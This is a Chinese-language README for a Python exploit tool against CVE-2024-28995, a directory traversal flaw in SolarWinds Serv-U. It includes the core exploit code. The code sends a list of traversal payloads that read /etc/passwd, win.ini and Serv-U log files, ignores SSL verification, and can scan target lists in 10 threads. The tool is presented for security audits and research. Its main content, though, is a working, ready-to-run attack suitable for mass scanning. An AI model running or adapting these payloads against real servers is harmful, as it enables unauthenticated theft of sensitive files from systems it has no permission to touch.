CVE-2024-28995 漏洞利用工具
项目描述
本项目是一个针对 CVE-2024-28995 漏洞的Python利用工具。该漏洞存在于SolarWinds Serv-U产品中,是一种目录遍历(Directory Transversal)漏洞,允许未经身份验证的攻击者通过特制的HTTP请求读取主机系统上的敏感文件。
该工具提供了高效的漏洞检测和利用功能,支持单目标扫描和批量文件扫描,采用多线程并发机制提升扫描效率,帮助安全研究人员快速评估系统风险。
功能特性
- 目录遍历漏洞利用:利用路径遍历技术读取系统敏感文件(如
/etc/passwd、win.ini、Serv-U日志文件等) - 多路径变体探测:内置多种路径遍历变体(Unix风格、Windows风格、URL编码等),提高成功率
- 批量扫描支持:支持从文件中读取目标列表进行批量扫描
- 多线程并发:使用
ThreadPoolExecutor实现最多10个线程的并发扫描 - 智能响应识别:自动识别响应内容中的敏感标识符(如
root:、Operating System: Windows Server等) - 彩色终端输出:使用
colorama库提供彩色输出,增强可读性 - SSL证书验证忽略:自动禁用SSL警告,处理自签名证书场景
安装指南
系统要求
- Python 3.6+
- pip3
依赖安装
# 克隆项目仓库
git clone https://github.com/gotr00t0day/CVE-2024-28995.git
cd CVE-2024-28995
# 安装所需依赖
pip3 install -r requirements.txt
依赖项列表
requests:发送HTTP请求colorama:终端彩色输出urllib3:HTTP请求库(用于禁用SSL警告)concurrent.futures:多线程支持(Python标准库)
使用说明
基础用法
扫描单个目标
python3 CVE-2024-28995.py -u domain.com
批量扫描目标列表
python3 CVE-2024-28995.py -f domains.txt
其中 domains.txt 每行一个目标域名或IP地址:
example.com
192.168.1.100
target.org
参数说明
| 参数 | 简写 | 说明 |
|---|---|---|
--url | -u | 指定单个目标URL或域名 |
--file | -f | 指定包含目标列表的文件路径 |
典型使用场景
- 单点安全审计:对单个Serv-U服务器进行漏洞验证
- 内网资产批量检测:批量扫描内网中的Serv-U服务
- 渗透测试辅助:快速确认目标是否存在CVE-2024-28995漏洞
- 漏洞复现研究:安全研究人员学习和验证漏洞原理
输出示例
成功利用漏洞时,工具会输出包含敏感文件内容的彩色响应:
Trying: https://target.com/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt
[+] Success: https://target.com/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt
[文件内容...]
核心代码
漏洞利用核心函数
def exploit(url):
"""核心漏洞利用函数,尝试多种路径遍历变体"""
if "https://" not in url:
url = f"https://{url}"
# 内置的路径遍历payload列表
paths = [
r"/?InternalDir=/./../../../ProgramData/RhinoSoft/Serv-U/&InternalFile=Serv-U-StartupLog.txt",
r"/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt",
r"/?InternalDir=\..\..\..\..\etc&InternalFile=passwd",
r"/?InternalDir=\..\..\..\..\etc^&InternalFile=passwd",
r"/?InternalDir=/../../../../windows&InternalFile=win.ini"
r"/?InternalDir=\..\..\..\..\etc/passwd"
]
for path in paths:
full_url = f"{url}{path}"
print(f"{Fore.WHITE}Trying: {Fore.YELLOW}{full_url}")
response = get_request(full_url)
if response:
# 检测Unix系统敏感文件特征
if any(indicator in response for indicator in ["root:", "bin:x:", "daemon:", "admin:", "Operating System: Windows Server"]):
print(f"{Fore.GREEN}[+] Success: {full_url}")
print(response)
return
# 检测Windows系统INI文件特征
elif all(section in response for section in ["[fonts]", "[extensions]", "[mci extensions]", "[files]", "[Mail]"]):
print(f"{Fore.GREEN}[+] Success (Windows): {full_url}\n")
print(f"{Fore.YELLOW}{response}")
return
HTTP请求函数
def get_request(url):
"""发送HTTP GET请求,忽略SSL证书验证"""
try:
r = requests.get(url, verify=False, timeout=15)
return r.text
except requests.RequestException as e:
pass
return None
多线程批量扫描
def main():
print(f"{Fore.YELLOW}{banner}")
if args.url:
exploit(args.url)
if args.file:
with open(args.file, "r") as f:
domains = [line.strip() for line in f.readlines()]
# 使用线程池实现并发扫描,最大工作线程数为10
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(exploit, domain) for domain in domains]
for future in as_completed(futures):
future.result()
命令行参数解析
parser = argparse.ArgumentParser(description="CVE-2024-28995")
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("-f", "--file", help="File to scan")
args = parser.parse_args()
漏洞分析参考
更多关于CVE-2024-28995的技术分析,请参考: Rapid7漏洞分析报告 6HFtX5dABrKlqXeO5PUv/2/bAPerRFkAUB1lQtcR95U=